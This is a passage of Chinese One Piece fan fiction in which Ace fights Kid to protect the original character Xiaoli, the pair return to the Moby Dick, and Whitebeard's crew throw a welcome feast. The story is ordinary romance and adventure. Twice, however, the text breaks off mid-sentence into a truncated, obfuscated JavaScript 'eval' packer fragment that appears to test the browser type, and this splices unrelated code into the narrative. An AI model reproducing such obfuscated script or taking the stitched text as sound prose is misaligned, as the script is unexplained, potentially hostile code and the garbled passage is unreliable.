基德甚至没来得及完全调动防御,整个人如同被全速行驶的列车正面撞上,口中喷出一股鲜血,身体被打得凌空飞起,重重撞翻了身后几个还没来得及撤走的货摊,木头碎裂声和金属撞击声刺耳的响起。他的脸上,以肉眼可见的速度红肿起来,更有一片焦黑的灼伤痕迹,散发着皮肉烧焦的糊味。 这一拳,不仅是为了基德那口无遮拦、充满掠夺意味的挑衅,还为了他今天像疯狗一样对小狸百般纠缠、死斗不休的怒火,更为了此刻小狸身上那些青青紫紫的淤伤、破损的衣物和疲惫的神情。所有这一切,都在这一记裹挟着愤怒与占有欲的火焰重拳中,彻底爆发 醉鬼小狸被这突如其来的变故惊得呆住了,她张着嘴,看着艾斯缓慢收拳的精壮背影——落日最后的余晖正从海平面斜射而来,给他挺拔的身形镀上了一层燃烧般的、耀眼的金边。他侧脸的线条因为愤怒而显得凌厉如刀削,紧抿的唇线,下颚绷紧的弧度,还有那微微起伏的、蕴藏着恐怖力量的肩背肌肉……每一处都充满了爆发后的、余韵未消的张力。 好……好帅…… 因为酒醉已经变得分外直白、过滤掉所有复杂思考的小狸,脑子彻底混沌了,只剩下最本能的反应。那双蔚蓝的眼睛里早就没有了那个被打飞的红发刺猬头,映满了艾斯此刻的身影。 她双手捧脸,几乎是不由自主地,踉跄着几步跑过去,从后面猛地一跳,像只树袋熊一样挂在了艾斯背上,手臂紧紧环住他的脖子,滚烫的脸颊贴在他同样散发着热度的颈侧。 “艾斯……好帅……这么帅的艾斯,是我的……”她含糊地、满足地嘟囔着,像宣告所有权的小兽,在他带着汗味和硝烟味的皮肤上蹭来蹭去,完全无视了周围的一片狼藉和远处挣扎着想要爬起来的基德。 艾斯被她这一挂一蹭,浑身上下那几乎要焚烧一切的怒火,硬生生被这带着酒气的、软绵绵的依恋给蹭熄了大半。他身体僵了一瞬,随即无奈地、甚至带着点纵容地叹了口气,反手托住她怕她掉下去。另一只手揉了揉突突直跳的太阳穴,语气是怒意消退后特有的、拿她没办法的柔软:“就喝了那么一点啤酒……怎么就醉成这样了……” 可眼底深处,却因为她直白的“我的”而掠过一丝受用的、被全然满足的暗光。 他调整了一下姿势,占有欲十足地将挂在自己身上的醉猫打横抱了起来,让她能更舒服地窝在自己怀里。然后,他抬起头,眼神瞬间从面对小狸时的无奈柔软,切换成冰冷的锋芒,扫过不远处正用手背擦去嘴角血迹、摇晃着试图站起来的基德。 “这是一个警告。”艾斯的声音不高,却清晰地穿透空气,带着不容置疑的力度,“离她远点。下一次,就没这么简单了。” 基德咳嗽着,又吐出一口带血的唾沫,脸上火辣辣地疼,但那双琥珀色的眼睛里战意和兴味却更加浓烈,甚至因为挨了这一拳而燃了起来。他用手背蹭了下焦黑的嘴角,竟然哈哈笑了两声,声音因为脸颊肿胀而有些含糊,却依旧狂气:“我想要的东西,可不会轻易放弃的,火拳艾斯! 等着吧!” 那眼神,像盯上了猎物的猛兽,充满了不计代价也要夺取的执着。 艾斯的眼神因为他这番话而越发冰冷深邃,抱着小狸的手臂不自觉地收紧了些。但怀里的醉鬼却已经被迷得七荤八素,双手环着他的脖子,还在努力仰起头,费力地去亲吻他的下巴、他的喉结,像只讨要抚摸和确认的小猫,磨人得紧。 “……别闹。”艾斯低声说,却不由自主地低下头,精准地捕捉到了她因为醉酒而格外红润诱人的嘴唇,深深地吻了下去。这是一个带着安抚、宣示主权和压抑后爆发的复杂亲吻,炽热而绵长,完全隔绝了外界所有的视线和声音。 良久,他才喘息着松开些许,看着怀里眼神更加迷蒙、乖乖靠在他胸口喘气的小狸,最后冰冷地瞥了一眼基德的方向,将“尤斯塔斯·基德”这个名字,牢牢地记在了心里。那股自己的宝物终于被他人发现、并如此赤裸裸地觊觎起来的强烈危机感,如同海潮般淹没了他 艾斯抱着小狸,转身离开那片狼藉的中心。他的步伐迈得很大,却很稳,身后是基德呛咳着吐出血沫、却仍发出低沉笑声的挑衅,以及围观人群压抑不住的、兴奋过度的窃窃私语。但这一切喧嚣,在艾斯冷硬的背影和小狸无意识蹭着他脖颈的依赖姿态前,仿佛被一道无形的壁垒隔开。 人群自动分开一条道路,夹杂着敬畏、好奇与尚未散尽的兴奋目光。艾斯目不斜视,帽檐下的阴影盖住了他眼中未完全熄灭的余烬,只有紧绷的下颌线和抱着小狸时那绝对占有的姿态,昭示着他内心远未平息的波澜。小狸在他怀里不安分地动了动,酒精让她的感官变得迟钝而直白,只觉得艾斯的胸膛宽阔又温暖,带着熟悉的、令人安心的火焰气息,混合着一点点汗水和尘土的味道。她双手环着他的脖子,因为被横抱着使不上力,索性把全身重量都交付出去,脸颊贴着他锁骨附近的皮肤,那里还能感受到他激烈心跳后逐渐平缓下来的震动。 “艾斯……”她笑得很甜,又含糊地叫了一声,热气呼在他的皮肤上,带着啤酒淡淡的麦芽气。她的手指无意识地卷着他黑色短发的发尾,“我们回家吗?回莫比迪克……” “嗯,回家。”艾斯的声音从胸腔传来,有些低沉,却刻意放柔了。 “可是我没有拿到礼物,怎么办……” “不需要礼物,看到你平安就是最好的礼物。” 他略微调整了一下抱姿,让小狸能躺得更舒服些,手臂将她圈得更紧,仿佛要用自己的体温和存在感将她彻底包裹起来,隔绝掉所有不怀好意的目光和觊觎。他走过之处,地面还残留着零星未熄的火苗,像他心头仍未完全摁下的怒意,幽幽地亮着,又缓缓湮灭在尘土里。 夕阳彻底沉入海面,庆典的灯火逐一亮起,将人影拉得悠长而暧昧。远离了终点的喧闹,海岸附近相对安静。艾斯没有立刻回到伙伴们聚集的地方,而是拐进了一处堆放货箱的僻静角落。这里光线昏暗,只有远处灯塔和庆典的余光朦胧地透过来,勾勒出他挺拔的轮廓和怀中人毛茸茸的头顶。 他停下脚步,背靠着冰凉粗糙的木箱,终于长长地、缓缓地吐出一口气。那口气里裹挟着战斗后的灼热、愤怒的余温,以及一种更深沉的、几乎要将他淹没的后怕。他低下头,借着微弱的光线,仔细看怀里的人。 小狸似乎有点困了,长长的睫毛轻轻抖动,脸颊带着淡淡的红晕。那红晕不只是酒精的作用,还有激烈运动后的痕迹,以及……艾斯指尖轻轻拂过她头顶那个已经不太明显、但细看仍能发现的小肿包,一种汹涌的几乎要将他撕裂的情绪使他的手指都在颤抖。不仅仅是愤怒于基德的口无遮拦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这句话像一颗投入心湖的石子,漾开的涟漪奇异地抚平了艾斯胸腔里最躁动的那部分怒火。他抓住她乱动的手,握在掌心,那手小小的,因为之前的战斗还有些擦伤,体温比他低些。他低下头,额头轻轻抵住她的,呼吸交融,带着啤酒和火焰的气息。 “我知道他抢不走。”艾斯的声音压得很低,震动着两人的耳膜,“我只是……”他停顿了一下,似乎在寻找合适的词句,来表述内心那片汹涌的、混合着爱意、占有欲和深沉忧惧的情绪,“只是突然意识到,我的小猫,已经出色到会让那种疯子都发狂地想要夺走了。” 他吻了吻她的鼻尖,然后是嘴唇,这是一个短暂却充满占有意味的吻,不像平时那般热烈,而是带着一种确认的、烙印般的力度。 小狸被他亲得有些痒,吃吃地笑起来,酒精让她比平时更坦率地回应这个吻,甚至伸出舌尖舔了舔他的唇瓣。“那艾斯要……把我藏好吗?”她半开玩笑半认真地问,手指调皮地戳了戳他结实的胸膛。 “不。”艾斯直起身,深深看进她的眼睛,那里面燃烧的火焰不再是纯粹的愤怒,而是淬炼成了某种更为坚硬、更为灼热的东西。 那是守护的决心,也是宣告的意志。 “藏起来不是办法。我要让所有人都知道,你是我的。清清楚楚,明明白白,不容置疑,更不容任何人觊觎。” 他说这话时,语气平静,却蕴含着不容动摇的力量。那个在他心中盘旋了许久的计划——那个关于更正式的誓言、关于在家人和世界面前确立彼此关系的构想从未像此刻这般清晰而紧迫。危机感像最好的催化剂,将他原本还有些犹豫、想要寻找更完美时机的心思烧得一干二净。他不能再等了。他必须用最牢固的纽带,将她与自己紧紧系在一起,不仅是情感的,更是在名分上昭告天下 远处传来了那谬尔带着笑意的呼唤:“艾斯——!小狸——!庆功宴要开始了哦!今天特许小狸多喝一杯哦……唔,虽然看起来她已经喝了不少了!” 艾斯应了一声,将小狸往上抱了抱。这一次,他的步伐更加沉稳有力,仿佛刚才片刻的独处和内心的激荡,已经让他完成了一次无声的蜕变与决断。他抱着她走向灯火通明、人声鼎沸的伙伴们所在之处,走向那份喧嚣的温暖。 怀中的小狸似乎感觉到了他情绪的变化,但她只是更紧地搂住他的脖子,将自己完全埋入他令人安心的气息里,全心全意地依赖着这个她眼中最重要的人。 “最喜欢你了,艾斯。” 艾斯感受着脖颈间她温热的呼吸和全身心的依托,目光柔和 “我也最喜欢你了,小狸。” 110.归家 几天后,那艘如同永不沉没的白色大陆、象征着“家”的巨船终于再次映入眼帘。回归的喜悦如同实质般弥漫在每个人心中,连海风都似乎变得更加轻快。 莫比迪克号显然也早早发现了他们归来的身影。小狸攀上桅杆最高处的瞭望台,双手搭在眉骨上远眺。她看到远处那道熟悉的船舷附近,人影如同被磁石吸引般越聚越多,从星星点点到密密麻麻。那些身影开始用力地朝着他们的方向挥舞手臂,有人甚至跳上了炮台,挥舞着颜色鲜艳的头巾或帽子。 思念这种东西,在她和艾斯独处时被刻意压下。她不能显得太过脆弱,因为艾斯已经背负了太多自责和压力,她必须做那个坚强、乐观、拉着他向前走的人。可现在,家就在眼前,她,好想家。 小狸发现自己一秒钟都等不及了。莫比迪克号就在不远处,她湛蓝的猫瞳四下飞快地扫视了一圈,眼底闪过一丝狡黠而明亮的光芒。 随后,在所有人惊愕的注视下,她竟然后退了一小步,随后从高高的桅杆之上,朝着下方那片深邃碧蓝的海面纵身跃下,长发在空中划出一道墨色的弧线,衣袂翻飞。 “小狸——!!” 刹那间,惊呼声在那谬尔的船上轰然炸开 甲板上的船员们惊恐万状地扑到围栏边,探出大半身子,伸出手徒劳地想要抓住那道下坠的影子。那谬尔也脸色骤变,一只脚已经踏上了围栏边缘,下意识就要跟着跳海捞猫。就连马尔科背后都瞬间“呼啦”一声展开巨大的青炎双翼和尾羽,身体前倾就要俯冲下去救回那个突然“想不开”的疯丫头。 只有艾斯,在最初的瞳孔紧缩的震惊之后,像是明白了她的意图。原本伸出的手僵在半空,随即无奈地、几乎是纵容地笑着扶了扶额头。他甚至有余裕伸手,轻轻拉了一下那谬尔的胳膊,冲这位紧张的鱼人队长摇了摇头。 果然,就在小狸纤细的身影即将触及海面的前一瞬,平静的海水突然翻涌起来,数只体型庞大、形态各异的海兽如同接受到了无声的召唤,接连浮出水面。它们巨大的脊背紧密相连,顷刻间在海面上架起了一座通往莫比迪克号的、活生生的“海兽之桥” 小狸的脚尖轻巧地落在为首海兽光滑的皮肤上,随即沿着这座不可思议的桥梁向前飞奔。每当她踏过一只海兽,那只海兽便会沉入水中,为她让开道路,丝毫不阻挡后方那谬尔船只的前进路线。 所有人都看呆了,感叹着“这果然是小狸会做的事”时,小狸已经奔到了桥梁的尽头,她深吸一口气,双腿发力高高跃起,在空中舒展开来,划出一道饱满而优美的弧线,稳稳地蹲在了莫比迪克熟悉的围栏之上 海风猛烈地拂动她稍显凌乱的黑发,她微微喘息着,胸口起伏,蔚蓝的眼睛亮得惊人,扫过下方一张张熟悉的脸庞。 在所有人带着笑与泪的视线里,小狸深吸了一口气,然后用尽全身的力气,将胸腔里满溢的思念凝聚成最简单的呐喊,朝着她的家、她的家人,毫无保留地释放而出: “我回来啦——!!!” 声音清脆却又带着一丝不易察觉的颤抖哭腔,嘹亮地穿透海风,回荡在辽阔的海面与莫比迪克上空。 话音未落,她甚至来不及站稳,身体已经比意识更快地行动。她纵身一跃,急不可耐地扑向那个早已向她迎来、如同山岳般高大伟岸的身影。白胡子的脸上依旧是那副威严沉稳表情,嘴角甚至带着一丝不易察觉的、压不下去的笑意,他庞大的身躯却几不可查地向前倾了些许,巨大的手掌也微微抬起,做好了迎接宝贝女儿冲撞的准备。 小狸像一颗小炮弹,带着风声和阳光的气息,精准又沉重地投入老爹的怀抱。她努力环抱住他肌肉虬结的粗壮手臂,双手紧紧抓住他胸前那件熟悉的、带着酒气的宽大衣襟,将整张脸都深深地埋了进去,近乎贪婪地呼吸着属于“父亲”的味道。下一秒,所有在路上积压的、在艾斯面前强忍的、在见到家人瞬间决堤的情绪,化作压抑不住的哭声,猛地爆发出来。 “老爹!老爹……!”她的声音闷在衣料里,带着浓重的鼻音和抽噎,断断续续,“让你们……担心了……对不起……呜……我真的、真的好想你们……呜呜呜……” 肩膀因剧烈的抽泣而轻轻地、无法控制地颤抖,眼泪迅速浸湿了白胡子胸前的衣料,留下一小片深色的痕迹。 从未有过一丝一毫想要责备这个乖巧又勇敢、拼尽全力带回他另一个傻儿子的宝贝女儿念头的白胡子,发出了洪亮而充满安慰与宠溺意味的大笑。“咕啦啦啦啦!小疯子,小狸,我的宝贝女儿”他的声音低沉如钟“平安回来就好! 不用说对不起,你是我们所有人的骄傲!” 他那足以撕裂大地、掀起海啸的巨掌,此刻却无比轻柔的放在少女毛茸茸的头顶。他缓慢地、充满怜爱地揉了揉,动作带着一丝小心翼翼。 这时,那谬尔的船也稳稳地靠上了莫比迪克号。与扑在老爹怀里尽情撒娇、释放情绪的猫耳少女不同,艾斯紧紧抿着唇。他一步一步踏上莫比迪克号熟悉的甲板,没有去看周围伙伴们投来的、复杂难言的目光,径直走到白胡子面前,在距离老爹和小狸几步远的地方停下。 他深深吸了一口气,海风带着家的味道涌入肺叶,却让他心头更加沉重。他抬起手,指尖有些微不可察的颤抖,郑重地摘下了那顶自出海以来几乎从不离身、标志性的牛仔帽。他将帽子紧紧攥在手中,指节泛白。在所有人的注视下,他挺直了背脊,笔直且毫不犹豫地跪了下去。 双膝接触甲板,发出沉闷的“咚”的一声轻响。 “老爹,”他的声音低沉沙哑,充满了深刻的自责与悔恨,“我一时冲动,任性妄为,不仅自己身陷险境,还连累了小狸,不听劝阻……给大家添了这么多麻烦,让所有人担惊受怕,还差点……我知道错了。”他低下头,黑色的发梢遮住了眼睛,但紧绷的肩膀和微微颤抖的脊背泄露了他的情绪,“请……惩罚我。无论什么样的惩罚,我都接受。” 白胡子看着自己这个倔强、责任感过剩、总是把错误揽到自己身上的傻儿子,心中涌起的情绪复杂难言。有对他鲁莽行为后怕的余悸,有对他终于平安归来的庆幸,更有对他此刻这副模样的心疼。他安抚地拍了拍怀里小狸的背,感受到小猫抓着他衣襟的手紧了紧,似乎想说什么。白胡子微微摇头,示意她稍安勿躁,然后将她轻轻从怀里放下,安置在自己身侧的甲板上。 在全体船员屏息凝神的注视下,白胡子那威严的面容变得肃穆,浓密的月牙胡微微颤动,他缓缓地、极具压迫感地举起了拳。 所有人都倒抽一口冷气!大家以为老爹这次是真的动了怒,要狠狠教训这个不省心到极点的儿子一顿,让他好好长长记性。连一向冷静的马尔科都下意识地上前一步,眉头紧锁,嘴唇微张,准备随时开口劝架。 然而,那挟带着呼啸风声、看似雷霆万钧、足以让大地崩裂的拳头,在落到艾斯胸口时却骤然收住了所有力道。轻飘飘的,甚至没有让艾斯跪着的身形晃动一丝一毫。 艾斯原本紧闭双眼,可预想中的疼痛没有到来。他茫然地睁开了眼睛,仰头看向老爹。 白胡子脸上那副肃穆的表情瞬间消融,转而被笑容取代:“咕啦啦啦啦!傻儿子!”笑声震得甲板嗡嗡作响,也震散了所有凝滞的空气,“我早就说过了,你们的老爹永远会是你们最坚实的后盾!为偶尔顽皮的儿子兜底,这也是老爹的职责啊!”他的声音顿了顿,带上了一丝柔情“艾斯啊,我这个老爹,还算称职吧” 艾斯愣住了。他看着老爹那笑得皱起来的眼角,看着眼神里毫无阴霾的慈爱与全然的接纳,看着周围伙伴们从紧张转为松了口气、继而露出笑容的脸……一股滚烫的热流猛地从心脏最深处涌起,势不可挡地冲上眼眶,灼烧着他的视线。他几乎是用尽了全身力气咬紧牙关,下颌骨突显出凌厉的线条,鼻翼剧烈翕动,强忍着那几乎要夺眶而出的泪水。不能哭,他是男子汉,是二番队队长,怎么能……可是,喉咙里哽得发疼。 这时,以藏、萨奇、比斯塔等几位队长也围了过来。艾斯还没来得及从地上站起就被各种力道不一的手掌拍在肩膀、后背,甚至脑袋上。 “你小子,真是命大啊!”乔兹浑厚的声音响起,蒲扇般的大手重重拍在艾斯背上,差点把他拍趴下。 “知不知道我们有多担心你?啊?”萨奇蹲下来,一把揽住艾斯的脖子,用力揉了揉他的头发,语气里是藏不住的后怕和如释重负,“被抬回来的时候像个死人一样,”他哽了一下,又用力捶了一下艾斯的肩头。“下次再敢这么乱来,我就往你的饭里加十倍的特制辣椒酱!” “这次可要好好谢谢小狸啊!”哈尔塔也凑过来,用脚尖轻轻踢了踢艾斯的小腿 一提到小狸,旁边一直看热闹、脸上挂着促狭笑容的那谬尔顿时来了兴致。他慢悠悠地踱步过来,双手抱胸,用一种极其夸张的、抑扬顿挫的、阴阳怪气的语调开始起哄:“还‘谢谢’呢!我说你们啊,消息太不灵通了!”他故意拉长声音,成功吸引了所有人的注意力,“你们是不知道,咱们这位英勇的、差点把自己玩死的艾斯队长啊——”他故意停顿,满意地看着大家好奇的眼神,“可是已经悄悄地把咱们全团最宝贝、最惹人疼的小妹妹给追——到——手——啦!啧啧啧,你们是没看见他在小狸面前那副样子哦,眼神黏糊得能拉丝,说什么都听,让往东不往西,那叫一个百依百顺,不值钱的样子哦,真的是没眼看!我都替他害臊!” 这话如同在滚烫的油锅里滴入了一大滴水,瞬间炸开了锅!现场的气氛马上从略带刻板的欢迎仪式与善意的责备敲打,变成了情真意切的“群殴”现场! “什么?!你小子还真下手了啊?!”以藏扶额,优雅的脸上露出一种“果然如此”和“自家白菜终究被猪拱了”的复杂表情。 “哈哈哈!干得漂亮艾斯!”萨奇则是唯恐天下不乱地大笑起来,用力拍着艾斯的后背,那力道差点把刚刚站起来的艾斯重新拍进甲板木头里,“我就说嘛!追女孩子就得不要脸一点!看吧看吧!还是我有先见之明!” “喂喂,萨奇!你这说的什么话!”以藏不满地瞪他。 “行了你们差不多得了!别再闹了!”马尔科无奈地推了推眼镜,试图维持一下早已荡然无存的秩序,但微微上扬的嘴角和眼里的笑意却出卖了他,“刚回来,像什么样子!”——虽然这劝阻在喧闹中显得毫无力度。 而事件的另一位主角小狸,早在“追到手”三个字从那谬尔嘴里蹦出来时,整张脸就“轰”地一下红透了,从脸颊一直蔓延到耳朵尖,甚至脖颈都染上了粉色。她羞得无以复加,湛蓝的眼睛瞪得圆圆的,里面满是慌乱和不知所措,下意识地就想把自己藏起来。 小黑猫像道黑色闪电般,“嗖”地一下窜了出去,三两下灵活地攀爬,借着人们的小腿、衣摆、甚至萨奇挥舞的手臂作为跳板,最后轻盈地一跃,稳稳落在了白胡子宽厚无比、如同小型平台的肩膀上。 然后,她把自己用力地、紧紧地团成一个小小的毛球,尾巴也严严实实地圈住身体,只露出一双因为羞窘而水汪汪的、紧闭着的眼睛缝隙,试图彻底降低存在感,假装自己只是一团偶然落在老爹肩头的、不起眼的黑色毛绒装饰。 白胡子侧头,用余光瞥了一眼肩膀上那团试图“隐身”、还在微微发抖的小黑球,又看了看被伙伴们“围攻”、脸上虽然带着无奈和窘迫、但眼底深处那份沉重阴霾终于散去、取而代之的是释然与某种深藏幸福光芒的艾斯,最后,他的目光扫过眼前这终于再次完整、充满了生机、吵闹、欢笑与泪水的大家庭。 巨大的、发自内心的、震彻云霄的爽朗大笑,从他胸膛深处轰鸣而出: “咕啦啦啦啦啦!” 笑声如同喜悦的雷霆,滚过甲板,传向广阔的海面。 “小的们!还愣着干什么?!”白胡子高举右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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收到你寄来的包裹了。打开看到那一亿贝利的时候,我和贝克曼可是愣了好一会儿,随即笑得肚子都痛了。真是个可爱的丫头!我们像是缺那一亿贝利的样子吗?我们已经教训过耶稣布那个家伙了。不过钱我收下了,虽然有点不好意思抢小丫头的零花钱,不过四皇的名头可不能白卖。正好我们正落脚的岛上,有个老酒鬼藏了几坛他爷爷的爷爷酿的好酒,据说是用特殊谷物酿的,埋了快一百年。我尝过一口,够劲!够醇!绝对值你那一亿贝利! 就当是……香克斯哥哥送你的礼物,也是给某个总让人操心的小子的慰问品 那么,有机会再见吧。替我向纽盖特问好(酒少喝点,老头!)。 你亲切的香克斯哥哥~” 信末画着一个潦草却传神的笑脸,旁边还滴着一点可疑的水迹。 小狸读完信,蔚蓝的猫瞳眨了眨,闪过一丝亮光。她抬头,看看身边因为酒意和火光而面容格外生动的艾斯,又转头,望向宴会中心和儿子们举杯痛饮的白胡子。 几乎没有犹豫,小狸弯有些费力地抱起了那个对她来说略显巨大的酒坛。酒坛很沉,带着泥土和岁月的气息。她摇摇晃晃地,却目标明确地朝着白胡子走去。 艾斯愣了一下,随即明白了她的意图,嘴角不由自主地扬起,跟在她身后。 喧闹的人群自动为抱着酒坛的小狸让开一条路。她走到白胡子面前,仰起小脸,在跳跃的火光中,她的眼睛亮晶晶的,带着点狡黠,更多的是纯粹的、想要分享喜悦的赤诚。 “老爹!”她的声音清脆,带着点喘,却又异常清晰,“这个……是礼物!据说埋了一百年的好酒!” 白胡子喉咙里发出低沉的、近乎愉悦的嗡鸣。他巨大的手掌摊开,伸到小狸面前,掌心向上的纹路深如沟壑,却干净温暖。“咕啦啦啦……给我的?” “嗯!”小狸用力点头,黑发随着动作晃动。她小心翼翼地将沉重的酒坛放进那只巨掌之中。对比是如此强烈——那需要她全力抱着的酒坛,在白胡子的手里,简直就像个寻常的酒杯,甚至显得有点小巧了。 萨奇在一旁插话,语气里带着点看好戏的揶揄,“香克斯寄来的,说是抵了小狸那一亿贝利呢!” 小狸竖起一根手指,放在唇边,表情严肃,但眼里闪着光:“只有今天哦!” 只有今天宴会特殊,允许你多喝点酒,平时还是要遵守“限量饮酒”的约定哦。 “噗——”不知道是谁先没忍住笑出了声。 紧接着,甲板上响起一阵压抑的、此起彼伏的闷笑声。就连一向沉稳的乔兹,肩膀都可疑地抖动了一下。以藏用和服的袖子半掩着唇,眼角弯出细纹。萨奇更是直接抱着肚子,笑得直不起腰。 白胡子:“……” 海上皇帝,世界最强的男人,刚刚还因为宴会和女儿回家而心情大好、正准备畅饮一番的白胡子,表情顿时梗了一下。他看看那坛百年陈酿,又看看女儿那双写满了“我说到做到”的湛蓝眼睛,最后瞪了一眼不远处正微笑着朝这边举杯、显然听到小狸的话而一脸“计划通”的马尔科。 果然。白胡子在心里哼了一声。他就知道!小狸一回来,马尔科那小子肯定要借着这股“东风”,更加变本加厉地限制他!白胡子已经能预见到未来一段时间,自己为了偷喝一口酒,要和女儿以及船医展开怎样艰苦卓绝的“斗智斗勇”了。不爽,非常不爽。这笔账,得记在马尔科头上,明明还没开始喝,白胡子就已经开始不爽地惦记着,明天要找点什么由头,去给那个总撺掇小狸的菠萝头儿子找点“麻烦”了。 算了。他看看身边笑容灿烂的小狸,又看看不远处和萨奇勾肩搭背、大声说笑的艾斯,再看看周围这群吵吵闹闹、活蹦乱跳的“傻儿子”们。 白胡子摇了摇头,最终化为一抹纵容到极点的、无声的笑意。 只要他们都平安,都在身边。 被管着……就管着吧。 111.美酒虽好可不要贪杯喔 白胡子盘起一条腿坐在座椅上,酒坛被放在他身前的甲板上。小狸就蹲在酒坛边,像只守护财宝的小龙,虽然这“财宝”马上就要被消耗掉了。她亲手揭开了坛口的蜜蜡封泥。当最后一层油纸被撕开时,一股极其醇厚、复杂又霸道的香气轰然弥漫开来 “哇……”小狸忍不住小声惊叹,鼻子动了动。 白胡子深吸一口气,闭上眼睛,脸上露出近乎陶醉的表情。“……啧,红发那小鬼,倒是会享受。”他睁开眼,看向小狸,眼中带着笑意,“丫头,这礼物的确值一亿贝利。” 早有准备的萨奇递过来一个海碗。小狸举起酒坛,琥珀色的酒液从坛口汩汩流出,在落入碗中的瞬间,激荡起更加浓郁扑鼻的香气。 白胡子端起那碗酒。他没有立刻畅饮,而是先用目光缓缓地环视着甲板上所有望着他的家人。 “这一碗——” 他高高举起那盛满琥珀色琼浆的巨碗,酒液在碗中荡漾。 “敬历尽艰险、归家的游子!”他的目光扫过艾斯和小狸。 “敬一往无前、无畏的勇气!”他的声音更加浑厚。 最后,他顿了顿,目光变得无比深邃而温柔,仿佛承载了整个家族的重量: “敬……我们永不沉没的家!敬——莫比迪克!” “干杯——!!!” “干杯——!!!!” 最后的尾音如同投入平静湖面的巨石,瞬间激起了滔天的回应!无数酒杯、酒碗、甚至直接举起的酒桶,在火光映照下反射出粼粼的光芒,高高举过头顶!清脆的、沉闷的、豪迈的碰撞声此起彼伏,混合着冲破云霄的欢呼声、大笑声、口哨声,汇成一股欢乐的洪流,几乎要将莫比迪克号的船帆都掀起来 白胡子仰起头,他喝得并不急切,而是带着一种品鉴和享受的意味。他微微眯起了眼,脸上掠过一丝极其满足的表情,随即发出一声低沉而悠长的喟叹。 “……好酒!”他放下碗,碗底与甲板接触发出轻响,嘴角扬起畅快的弧度,“痛快!” 宴会的氛围彻底解放,达到了前所未有的高度。音乐变得更加狂野奔放。人们开始勾肩搭背地跳舞,脚步凌乱却充满热情,放声唱着跑调的歌。烤肉的油脂滴入火中发出“滋啦”的声响,炖菜的浓郁香气,烈酒的辛辣,人们身上汗水蒸腾的气息,清凉海风的咸味,木材燃烧的淡淡烟味……所有这一切混杂、交融、发酵,构成了莫比迪克号上独一无二的、浓烈到化不开的、名为“家”的、令人安心沉醉的气息。 艾斯被兄弟们层层叠叠地围住。这个用力捶一下他的胸口,笑骂着“下次再乱来就揍你”;那个不由分说地勾住他的脖子,将满杯的酒凑到他嘴边灌下去撒了一脸,艾斯笑闹着,脸颊因为酒精和兴奋泛着红晕,橘色的帽子早就不知道被谁摘了去,丢到了某个角落。他几乎来者不拒,与每个人碰杯,大口喝酒,大声说笑。 而在不远处的长桌旁,小狸正蹲在宽大的椅子上,这是她最舒适的姿势。一直在海上自由生长、和一群粗豪海贼混在一起的她完全没有所谓的“用餐礼仪”。此时,她正双手捧着一块比她的脸还大的带骨肉,龇着牙在上面撕咬。 她的旁边,是同样许久不见她、此刻分外想念、粘人得紧的柯达兹。这只大猫正用前爪扒着桌沿,伸长脖子,和她一人咬一头试图从她手中的肉块上分一杯羹,喉咙里发出低低的、催促般的呜呜声。一人一猫,一个在椅子上,一个在桌边,脑袋几乎凑在一起,都吃得油光满面。 “小狸!” 小狸的后脑勺忽然被不轻不重地拍了一下,害得她整个上半身都跟着往前倾了倾,嘴里还叼着一大块肉。小狸不满地回头,发出带着食物残渣的、含糊而软糯的哼唧声:“唔嗯?” 米娅和丢斯正站在她身后,米娅穿着一身干净利落的新裙子,丢斯则是一贯的打扮。两人的脸上都带着纯粹而热情的、重逢的喜悦笑容,眼神亮晶晶的。 “米娅姐!!丢斯!”小狸眼睛瞬间亮了,嘴里还含着肉,声音含糊却雀跃。她几乎没有任何犹豫,立刻把手里的、还带着她牙印和口水的硕大肉块随手往旁边一扔,丢斯眼疾手快、手忙脚乱的接住,柯达兹还挂在肉上,随着肉块的抛物线一同落到了丢斯怀里,被这突如其来的起飞弄得一愣,随即冲着手足无措的丢斯不满地龇了龇牙,发出威胁的低吼。 而小狸本人,已经从椅子上弹射起来扑到了米娅身上。 “米娅姐——!” 她毛茸茸的脑袋使劲地在米娅丰满柔软的胸口蹭来蹭去,双手紧紧环住米娅的腰,嘴里还含糊不清地、带着浓浓的鼻音喊着:“米娅姐!好想你!好想好想!” “哎呀!小狸!你这个脏丫头!”米娅嘴上嫌弃地叫嚷着,声音里却没有半分真正的责备,只有几乎要溢出来的宠溺,“你的手上都是油啊!别蹭!我刚换的新裙子!还有你的脸上!全都是油!” 她嘴上这么说着,手却非常诚实地环住了扑进怀里这具暖烘烘、软乎乎的身体,另一只手更是情不自禁地抬起,轻轻摸了摸那颗在她怀里乱拱的、毛茸茸的小脑袋 听到米娅的“控诉”,小狸这才后知后觉地抬起自己的爪子看了看,她眨了眨蔚蓝的大眼睛,脸上闪过一丝“确实有点脏”的恍然,然后,非常自然且顺手地就拉过了旁边丢斯那件质地不错的亚麻外套下摆,毫不客气地用力蹭了两下,把油渍擦了个干干净净。 “喂!我的外套!小狸!!”丢斯立刻发出一声惨绝人寰的哀嚎,心疼地看着自己那件颇为喜爱的外套下摆上,瞬间多出的几个清晰无比、油光锃亮的爪印。“这是我新买的!很贵的!” 小狸才不管他的“惨叫”,擦完手,心满意足地又紧紧抱住了香香软软的米娅姐,把脸重新埋回去,声音闷在她带着淡淡香气的衣料里,带着浓浓的、毫无保留的依赖:“好想你们呀米娅姐……在那之后,大家都还好吗?” “你还好意思问!”米娅轻轻揪了揪小狸的耳尖,语气里带着后怕与责备,“你知不知道我们当时有多担心?一个两个的,完全不长脑子,全都是冲动行事的笨蛋!你也是,那个笨蛋队长也是!”她的声音不自觉地低了下来,抚摸小狸柔顺黑发的手更加轻柔,带着一种劫后余生的庆幸,“当时……还不知道你的下落的时候,艾斯那副样子……我们、我们都以为他下一秒就要撑不下去了,整个人像是被抽走了灵魂,只剩下一具空壳……那个犟种,不听劝,不吃饭,不睡觉,把自己往死里逼……” 